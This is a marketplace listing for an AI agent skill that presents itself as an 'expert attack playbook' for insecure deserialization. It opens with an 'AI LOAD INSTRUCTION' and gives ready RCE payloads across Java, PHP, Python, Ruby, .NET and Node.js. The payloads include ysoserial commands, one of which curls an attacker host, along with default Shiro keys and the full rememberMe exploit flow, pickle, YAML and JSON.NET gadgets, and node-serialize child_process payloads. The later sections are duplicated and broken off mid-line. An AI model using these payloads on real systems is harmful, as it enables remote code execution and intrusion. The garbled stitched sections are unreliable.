AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL unreviewed MIT Self-run

Deserialization Insecure

skill-yaklang-hack-skills-deserialization-insecure · by yaklang

>-

No reviews yet
0 installs
23 views
0.0% view→install

Install

$ agentstack add skill-yaklang-hack-skills-deserialization-insecure

Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.

Security review

⚠ Flagged

1 finding(s); flagged for manual review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures
  • high Dangerous shell/eval execution.

What it can access

  • Network access Used
  • Filesystem access Used
  • Shell / process execution Used
  • Environment & secrets No
  • Dynamic code execution Used

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Reliability & compatibility

Not yet reviewed
0 installs to date
no reviews yet
3mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of Deserialization Insecure? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

SKILL: Insecure Deserialization — Expert Attack Playbook

> AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

0. RELATED ROUTING

  • [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
  • [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load [JAVAGADGETCHAINS.md](./JAVAGADGETCHAINS.md) when you need:

  • Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
  • SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
  • Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
  • .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
  • Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
  • Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

| Indicator | Where to Look | |---|---| | Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params | | Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims | | Content-Type: application/x-java-serialized-object | HTTP headers | | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |

PHP Serialized Objects

| Indicator | Where to Look | |---|---| | O:NUMBER:"ClassName" pattern | POST body, cookies, session files | | a:NUMBER:{ (array) | Same locations | | phar:// URI usage | File operations accepting user-controlled paths |

Python Pickle

| Indicator | Where to Look | |---|---| | Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues | | Base64-encoded binary blob | API params, cookies, Redis values | | pickle.loads / pickle.load in source | Code review / whitebox |


2. JAVA — GADGET CHAINS AND TOOLS

ysoserial — Primary Tool

# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.

Commons Collections — The Classic Chain

The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.

Key classes in the chain: InvokerTransformerChainedTransformerTransformedMap → triggers Runtime.exec() during deserialization.

Apache Shiro — rememberMe Deserialization

Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

Attack flow:

  1. Detect: response sets rememberMe=deleteMe cookie on invalid session
  2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
  3. AES-CBC encrypt with known key + random IV
  4. Base64-encode → set as rememberMe cookie value
  5. Send request → server decrypts → deserializes → RCE

DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.

Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).

WebLogic Deserialization

Multiple vectors:

  • T3 protocol (port 7001): direct serialized object injection
  • XMLDecoder (CVE-2017-10271): XML-based deserialization via /wls-wsat/CoordinatorPortType
  • IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK = 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |

---

## 3. PHP — unserialize AND PHAR

### Magic Method Chain

PHP deserialization triggers magic methods in order:

__wakeup() → called immediately on unserialize() __destruct() → called when object is garbage-collected __toString() → called when object is used as string __call() → called for inaccessible methods


**Attack**: craft a serialized object whose `__destruct()` or `__wakeup()` triggers dangerous operations (file write, SQL query, command execution, SSRF).

### Serialized Object Format

```php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin PMA_Config class reads arbitrary files via source property:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1

Phar Deserialization

Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.

Triggering functions (partial list):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

Attack flow:

  1. Upload a valid file (e.g., JPEG with phar polyglot)
  2. Trigger file operation: file_exists("phar://uploads/avatar.jpg")
  3. PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

__reduce__ Method

Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes

import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks

pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

If safe_builtins includes eval, exec, or __import__ → still exploitable.


5. DETECTION METHODOLOGY

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. DEFENSE AWARENESS

| Language | Mitigation | |---|---| | Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead | | PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations | | Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |


7. QUICK REFERENCE — KEY PAYLOADS

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=

8. RUBY DESERIALIZATION

Ruby Marshal

  • Marshal.load on untrusted data → RCE
  • Fingerprint: binary data, no common text header
  • Gadget chains exist for various Ruby versions
  • Docker verification: hex payload via [hex_string].pack("H*")

Ruby YAML (YAML.load)

  • YAML.load (not YAML.safe_load) executes arbitrary Ruby objects
  • Pre Ruby 2.7.2: Gem::Requirement chain → git_set: id / git_set: sleep 600
  • Ruby 2.x-3.x: Gem::InstallerTarReaderKernel#system chain (longer, multi-step)
  • Always test: YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation check
  • Payload template:
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"
  • Note: YAML.safe_load is safe (Ruby 2.1+); Psych.safe_load also safe

9. .NET DESERIALIZATION

  • Traffic fingerprint:
  • BinaryFormatter: hex AAEAAD (base64 AAEAAAD/////)
  • ViewState: hex FF01 or /w prefix
  • JSON.NET: $type property in JSON
  • BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
  • XmlSerializer: ObjectDataProvider + XamlReader chain for command execution

```xml

Start cmd/c calc

```

  • NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
  • LosFormatter: used in ViewState, deserializes to ObjectStateFormatter
  • JSON.NET: $type property enables type control → ObjectDataProvider + ExpandedWrapper chains

``json {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} ``

  • Tool: ysoserial.net — generate payloads for all .NET formatters

``text ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" ``

  • POP gadgets: ObjectDataProvider, ExpandedWrapper, AssemblyInstaller.set_Path

10. NODE.JS DESERIALIZATION

  • node-serialize: unserialize() with IIFE (Immediately Invoked Function Expression)
  • Payload marker: _$$ND_FUNC$$_
  • Add () at end to auto-execute:

``json {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} ``

  • funcster: __js_function property → constructor.constructor to access process

``json {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} ``

  • cryo: similar to funcster, serializes JS objects with function support

RUBY DESERIALIZATION

Marshal (Binary Format)

# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget

# Detection: binary data starting with \x04\x08
# Or hex: 0408

# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload)    # triggers arbitrary code execution

YAML.load (Critical — Most Common Ruby Deser Sink)

# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

# Ruby ` | XmlSerializer / NetDataContractSerializer |

### BinaryFormatter / LosFormatter

Most dangerous — arbitrary type instantiation

Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64

LosFormatter wraps BinaryFormatter — same gadgets work

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64


### XmlSerializer + ObjectDataProvider
```xml

  
    
      cmd.exe
      /c whoami
    
    
      
        cmd.exe
        /c whoami
      
    
  

JSON.NET with TypeNameHandling

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.

Tools

  • pwntester/ysoserial.net — primary .NET deserialization payload generator
  • Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile

NODE.JS DESERIALIZATION

node-serialize (IIFE Pattern)

// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_p

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [yaklang](https://github.com/yaklang)
- **Source:** [yaklang/hack-skills](https://github.com/yaklang/hack-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.